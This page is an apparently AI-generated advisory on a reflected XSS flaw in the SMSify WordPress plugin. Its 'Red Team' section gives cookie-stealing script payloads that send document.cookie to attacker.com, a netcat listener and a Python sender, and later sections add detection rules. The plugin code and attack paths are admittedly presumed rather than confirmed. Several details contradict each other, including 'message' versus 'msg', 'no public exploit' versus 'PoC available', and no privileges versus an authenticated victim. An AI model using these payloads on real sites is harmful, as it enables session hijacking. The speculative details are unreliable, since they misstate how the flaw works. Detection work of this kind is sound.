CVE-2024-54324
Executive Summary
CVE-2024-54324 is a reflected Cross-Site Scripting (XSS) vulnerability in the SMSify WordPress plugin, developed by Mtomic. The flaw exists in versions up to and including 6.0.4, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious link that, when clicked by an authenticated WordPress administrator, executes arbitrary JavaScript in the context of the admin's session. This can lead to session hijacking, defacement, or credential theft. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch is currently available, making proactive detection and mitigation critical.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must consider removing or disabling the plugin until a fix is released. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which is a common target for supply chain attacks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – The attack is launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – The attacker does not need authentication.
- User Interaction: Required (UI:R) – The victim must click a crafted link.
- Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: Low (A:L) – Limited service disruption.
Threat Level: High. The low attack complexity and network vector make this a viable phishing target. The lack of a patch increases the risk for all sites using SMSify.
Deep Dive & Mechanics
The vulnerability resides in the SMSify plugin's handling of HTTP GET parameters. When a user visits a crafted URL, the plugin reflects the malicious input without proper sanitization or encoding. For example, a parameter like ?message=<script>alert('XSS')</script> would be echoed back in the HTML response, executing the script in the victim's browser.
Root Cause: The plugin uses echo $_GET['message'] or similar constructs without applying esc_html(), htmlspecialchars(), or output encoding. This allows an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- Attacker crafts a URL:
https://victim-site.com/wp-content/plugins/smsify/some-page.php?msg=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Attacker sends the link via email, social media, or other channels.
- Victim (WordPress admin) clicks the link while authenticated.
- The plugin reflects the
msgparameter without sanitization. - The injected script executes, sending the admin's session cookie to the attacker.
- Attacker hijacks the admin session and gains full control of the WordPress site.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be similar to:
// Vulnerable code (smsify.php or similar)
$message = $_GET['message'];
echo "<div class='smsify-message'>$message</div>";
Patched code (expected):
// Patched code
$message = isset($_GET['message']) ? esc_html($_GET['message']) : '';
echo "<div class='smsify-message'>" . esc_html($message) . "</div>";
The fix uses esc_html() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with SMSify plugin version <= 6.0.4.
- A listener to capture exfiltrated data (e.g.,
nc -lvnp 8080).
Exploit Payload:
<!-- Crafted URL -->
https://victim-site.com/wp-content/plugins/smsify/smsify.php?msg=<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>
Steps:
- Start a netcat listener:
nc -lvnp 8080 - Send the crafted URL to the victim (e.g., via email).
- Wait for the victim to click the link.
- Capture the cookie in the listener logs.
Automated Exploit (Python):
import requests
target = "http://victim-site.com/wp-content/plugins/smsify/smsify.php"
payload = "<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
params = {'msg': payload}
response = requests.get(target, params=params)
print("Payload sent. Check listener.")
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
/wp-content/plugins/smsify/with suspicious query parameters (e.g.,<script>,onerror,javascript:). - Use WAF rules to block reflected XSS patterns.
Honeypot:
- Deploy a fake WordPress admin session and monitor for unexpected cookie exfiltration.
Mitigation:
- Disable the SMSify plugin immediately.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- URL Patterns:
*/wp-content/plugins/smsify/*?msg=*<script>* - Network Traffic: Outbound HTTP requests to attacker-controlled domains containing
document.cookieorlocalStorage. - Log Entries:
GET /wp-content/plugins/smsify/smsify.php?msg=%3Cscript%3E... - File Hashes: (If malicious files are uploaded) – Not applicable for reflected XSS.
Detection Engineering
YARA Rule
rule CVE_2024_54324_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting SMSify plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-54324"
strings:
$xss1 = /msg=.*<script>/i
$xss2 = /msg=.*onerror=/i
$xss3 = /msg=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against SMSify Plugin
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads in the msg parameter targeting SMSify
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
c-uri|contains: /wp-content/plugins/smsify/
c-uri|contains|all:
- 'msg='
- '<script>'
condition: selection
falsepositives:
- Legitimate use of script tags in testing environments
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-54324 Reflected XSS SMSify"; flow:to_server,established; content:"/wp-content/plugins/smsify/"; http_uri; content:"msg="; http_uri; pcre:"/msg=.*<script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the SMSify plugin until a patched version is released.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>in themsgparameter. - Add Content Security Policy (CSP) header:
Content-Security-Policy: script-src 'self'; - Educate users not to click suspicious links, especially those containing plugin-specific paths.
Long-Term Fix:
- Monitor the WordPress plugin repository for an official patch.
- Consider replacing SMSify with an alternative plugin that is actively maintained.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All intelligence is based on publicly available data and should be verified before action.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.